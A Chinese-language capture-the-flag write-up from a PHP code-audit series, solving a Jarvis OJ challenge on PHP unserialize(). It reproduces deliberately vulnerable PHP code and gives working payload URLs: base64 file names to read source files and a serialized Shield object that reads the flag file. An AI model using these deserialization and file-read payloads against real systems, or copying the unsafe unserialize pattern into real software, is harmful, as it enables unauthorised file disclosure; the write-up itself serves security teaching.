正文
PHP代码审计分段讲解（10）
提示：扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
26 unserialize()序列化
<!-- 题目：http://web.jarvisoj.com:32768 --> <!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> <!-- shield.php --> <?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?> <!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置（不区分大小写）
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
这道题目是PHP反序列的题目，比较基础。
在利用对PHP反序列化进行利用时，经常需要通过反序列化中的魔术方法，检查方法里有无敏感操作来进行利用。
列举常见方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
这道题目只用到了__construct()方法，该方法是在创建对象时触发
简单了解了基础知识之后我们来看题目，代码中给出的环境还能够访问：http://web.jarvisoj.com:32768，我们也可以通过代码推断出原来的环境。
查看网页源代码：
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
猜测是base64编码，解码得到：
获取index.php的源代码，payload为：
http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
查看源代码
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
可以看到包含了shield.php，继续查看shield.php的源代码 payload为：
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
再包含一下showimg.php ：
http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
可以看到，showimg.php可以直接包含base64解密后的文件，同时虽然shield.php在里面说明了 flag is in pctf.php，但是showimg.php里面表示了，是无法直接包含pctf文件的，以及进行了目录穿越的禁止。
回到index.php
里面关键点在于：
$x = unserialize($g);
}
echo $x->readfile();
在这里对$g进行了反序列化，然后输出了对象$x的readfile()方法的结果
而$g是在这里进行赋值：
isset($_GET['class']) && $g = $_GET['class'];
是我们可以控制的。
再继续看shield.php中的Shield类，也就是我们序列化和反序列化的对象
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
根据类进行PHP在线环境进行反向构造即可
即反序列化后直接使用readfile()方法读取任意文件，这里我们读取pctf.php
payload为：
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
查看源代码为：
获得flag，是一道很基础的PHP反序列化题目
